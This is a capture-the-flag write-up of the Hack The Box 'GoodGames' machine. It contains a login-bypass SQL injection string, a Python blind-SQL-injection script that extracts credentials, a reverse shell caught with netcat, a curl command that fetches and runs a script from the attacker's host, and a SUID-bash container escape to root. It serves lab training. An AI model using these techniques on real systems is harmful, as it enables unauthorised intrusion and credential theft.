Post

HackTheBox GoodGames Writeup

Nmap Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Nmap 7.94 scan initiated Mon Mar 31 13:25:21 2025 as: /usr/lib/nmap/nmap -sC -sV -vv -oN nmap 10.10.11.130
Nmap scan report for 10.10.11.130
Host is up, received echo-reply ttl 63 (0.33s latency).
Scanned at 2025-03-31 13:25:21 CDT for 23s
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.51
|_http-title: GoodGames | Community and Store
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Werkzeug/2.0.2 Python/3.9.2
Service Info: Host: goodgames.htb

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Mar 31 13:25:44 2025 -- 1 IP address (1 host up) scanned in 22.84 seconds

HTTP Port 80 Enumeration

SQL Injection

There is a login page, we can try to test sql injection on email field: admin' -- // and random password.

It works and we login as admin!

Subdomain Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(wzwr㉿kali)-[~/Documents/htb/goodgames]
└─$ ffuf -w /usr/share/wordlists/SecLists-master/Discovery/DNS/subdomains-top1million-5000.txt -u http://goodgames.htb -H "Host: FUZZ.goodgames.htb" -fw 1297

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://goodgames.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/SecLists-master/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.goodgames.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 1297
________________________________________________

internal                [Status: 200, Size: 9256, Words: 2172, Lines: 208, Duration: 231ms]
:: Progress: [4989/4989] :: Job [1/1] :: 194 req/sec :: Duration: [0:00:27] :: Errors: 0 ::

We found internal.goodgames.htb!

It is a dashboard that required login again. However, the previous sql injection trick admin' -- // is failed to login. Since we know the previous login page is vulnerable to SQL injection, maybe we can dump the database to retrieve the credentials.

Blind SQL Injection

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/python

import requests
import string


URL = 'http://10.10.11.130/login'

def get_length_injection(target_query: str):
    global URL
    for i in range(1, 100):
        payload = {
                'email': f"test@email.com' AND LENGTH({target_query}) = {str(i)} -- //",
                'password': '123123',
        }
        
        r = requests.post(URL, data=payload)

        if 'Login Success' in r.text:
            return i
    else:
        print('opps not found!')
        exit()

def get_content_injection(target_query: str, length: int):
    global URL
    result = ''
    for i in range(1, length + 1):
        for c in string.printable:
            payload = {
                    'email': f"test@email.com' AND SUBSTR({target_query}, {str(i)}, 1) = '{c}' -- //",
                    'password': '123123'
            }
            
            r = requests.post(URL, data=payload)

            if 'Login Success' in r.text:
                result += c
                break
        else:
            print('opps not found!')
    return result

target_query = ['database()', '(SELECT `table_name` FROM `information_schema`.`tables` WHERE `table_schema` = database() LIMIT 2, 1)', '(SELECT `column_name` FROM `information_schema`.`columns` WHERE `table_name` = "user" AND `table_schema` = database() LIMIT 3, 1)', '(SELECT user FROM user LIMIT 1, 1)', '(SELECT password FROM user LIMIT 0, 1)']

length = get_length_injection(target_query[4])
result = get_content_injection(target_query[4], length)
print(target_query[4], result, length)

By dumping the database, we found the credentials admin:superadministrator. We can use this to login into the dashboard!

Inside the dashboard, we can update the settings:

This indicates it might be vulnerable to SSTI

SSTI Exploit

We can confirm the SSTI by input ``, which returns 49 in the name field.

We can use the following payload to get reverse shell:

1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(wzwr㉿kali)-[~/Documents/htb/goodgames]
└─$ nc -lnvp 58787
listening on [any] 58787 ...
connect to [10.10.16.18] from (UNKNOWN) [10.10.11.130] 53284
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@3a453ab39d3d:/backend# id
id
uid=0(root) gid=0(root) groups=0(root)
root@3a453ab39d3d:/backend# ls /home
ls /home
augustus
root@3a453ab39d3d:/backend# ls /home/augustus
ls /home/augustus
user.txt
root@3a453ab39d3d:/backend# cat /home/augustus/user.txt
cat /home/augustus/user.txt
483842183c50937a7751767dfa87a2bd
root@3a453ab39d3d:/backend# 

Docker Privilege Escalation

However, we are inside a docker container.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
root@3a453ab39d3d:/backend# ls -la /
ls -la /
total 84
drwxr-xr-x   1 root root 4096 Nov  5  2021 .
drwxr-xr-x   1 root root 4096 Nov  5  2021 ..
-rwxr-xr-x   1 root root    0 Nov  5  2021 .dockerenv
drwxr-xr-x   1 root root 4096 Nov  5  2021 backend
drwxr-xr-x   2 root root 4096 Nov  2  2021 bin
drwxr-xr-x   2 root root 4096 Mar 27  2021 boot
drwxr-xr-x   5 root root  340 Mar 31 18:49 dev
drwxr-xr-x   1 root root 4096 Nov  5  2021 etc
drwxr-xr-x   1 root root 4096 Nov  2  2021 home
drwxr-xr-x   1 root root 4096 Nov  2  2021 lib
drwxr-xr-x   2 root root 4096 Nov  2  2021 lib64
drwxr-xr-x   2 root root 4096 Nov  2  2021 media
drwxr-xr-x   2 root root 4096 Nov  2  2021 mnt
drwxr-xr-x   2 root root 4096 Nov  2  2021 opt
dr-xr-xr-x 237 root root    0 Mar 31 18:49 proc
drwx------   1 root root 4096 Nov  5  2021 root
drwxr-xr-x   1 root root 4096 Nov  5  2021 run
drwxr-xr-x   2 root root 4096 Nov  2  2021 sbin
drwxr-xr-x   2 root root 4096 Nov  2  2021 srv
dr-xr-xr-x  13 root root    0 Mar 31 18:49 sys
drwxrwxrwt   1 root root 4096 Mar 31 19:15 tmp
drwxr-xr-x   1 root root 4096 Nov  2  2021 usr
drwxr-xr-x   1 root root 4096 Nov  2  2021 var
root@3a453ab39d3d:/backend# 

We need to escape the container.

Deepce.sh

We can use deepce.sh to enumerate and exploit.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
root@3a453ab39d3d:/tmp# curl http://10.10.16.18:8000/deepce.sh -o deepce.sh
curl http://10.10.16.18:8000/deepce.sh -o deepce.sh
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  145k  100  145k    0     0   439k      0 --:--:-- --:--:-- --:--:--  439k
root@3a453ab39d3d:/tmp# chmod +x deepce.sh
chmod +x deepce.sh
root@3a453ab39d3d:/tmp# ./deepce.sh
./deepce.sh
                      __
  __   ___  ___  ___ / /_  ___
 / _` / -_)/ -_)/ _ \/ __\/ -_)
 \_,_/\__/ \__/ .__/\__/\__/
             /_/
 Docker Enumeration, Escalation of Privileges and Container Escapes (DEEPCE)
 by stealthcopter

 ==========================================
  [+] Enumerating General Information
 ==========================================

    [+] Container ID: 3a453ab39d3d
    [+] Hostname: 3a453ab39d3d
    [+] User: root
    [+] ID: uid=0(root) gid=0(root) groups=0(root)
    [+] Docker Version: 20.10.5+dfsg1
    [+] OS: Debian GNU/Linux 11 (bullseye)
    [+] Arch: x86_64
    [+] IP Address: 172.19.0.2

 ==========================================
  [+] Enumerating Container Information
 ==========================================

    [+] DNS Server: 1.1.1.1
    [+] Connectivity: Full internet access (via 1.1.1.1)
    [+] Container mounts:
        /home/augustus -> /home/augustus
    [+] Capabilities:
        CAP_CHOWN
        CAP_DAC_OVERRIDE
        CAP_FOWNER
        CAP_FSETID
        CAP_KILL
        CAP_SETGID
        CAP_SETUID
        CAP_SETPCAP
        CAP_NET_BIND_SERVICE
        CAP_NET_RAW
        CAP_SYS_CHROOT
        CAP_MKNOD
        CAP_AUDIT_WRITE
        CAP_SETFCAP

 ==========================================
  [+] Enumerating Vulnerabilities
 ==========================================

    [+] Vulnerable to CVE-2020-15257 (Host network namespace)
        No
    [+] Vulnerable to CVE-2019-5736 (RunC)
        No
    [+] Vulnerable to CVE-2019-14271 (Docker cp)
        No

 ==========================================
  [+] Enumerating Interesting Files
 ==========================================

    [+] SUID Binaries:
        /usr/bin/chsh
        /usr/bin/newgrp
        /usr/bin/gpasswd
        /usr/bin/passwd
        /usr/bin/chfn
        /usr/bin/su
        /usr/bin/mount
        /usr/bin/umount
        /usr/lib/dbus-1.0/dbus-daemon-launch-helper
        /usr/lib/openssh/ssh-keysign

 ==========================================
  [+] Exploiting Container
 ==========================================

We see that /home/augustus is mounted from the host. Since we are root inside the container, we can change the permissions of files in this directory, which will reflect on the host. However, the user augustus on the host (uid 1000) owns the files.

We can try to create a bash binary with SUID permissions in the mounted directory.

1
2
3
4
5
6
7
8
9
10
11
root@3a453ab39d3d:/backend# cp /bin/bash /home/augustus/bash
cp /bin/bash /home/augustus/bash
root@3a453ab39d3d:/backend# chmod 4777 /home/augustus/bash
chmod 4777 /home/augustus/bash
root@3a453ab39d3d:/backend# ls -la /home/augustus
ls -la /home/augustus
total 1244
drwxr-xr-x 2 1000 1000    4096 Mar 31 19:18 .
drwxr-xr-x 1 root root    4096 Nov  2  2021 ..
-rwsrwxrwx 1 root root 1234376 Mar 31 19:18 bash
-rw-r----- 1 1000 1000      33 Mar 31 18:25 user.txt

Now we need to access the host as augustus. We can try to SSH into the host using the same password we found earlier superadministrator.

1
2
3
4
5
6
7
8
9
10
11
12
┌──(wzwr㉿kali)-[~/Documents/htb/goodgames]
└─$ ssh augustus@10.10.11.130
augustus@10.10.11.130's password: 
Linux GoodGames 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
augustus@GoodGames:~$ 

We are in! Now execute the SUID bash:

1
2
3
4
5
augustus@GoodGames:~$ ./bash -p
bash-5.1# id
uid=1000(augustus) gid=1000(augustus) euid=0(root) groups=1000(augustus)
bash-5.1# cat /root/root.txt
8e029471343701659a85718a2455928d

Rooted!

This post is licensed under CC BY 4.0 by the author.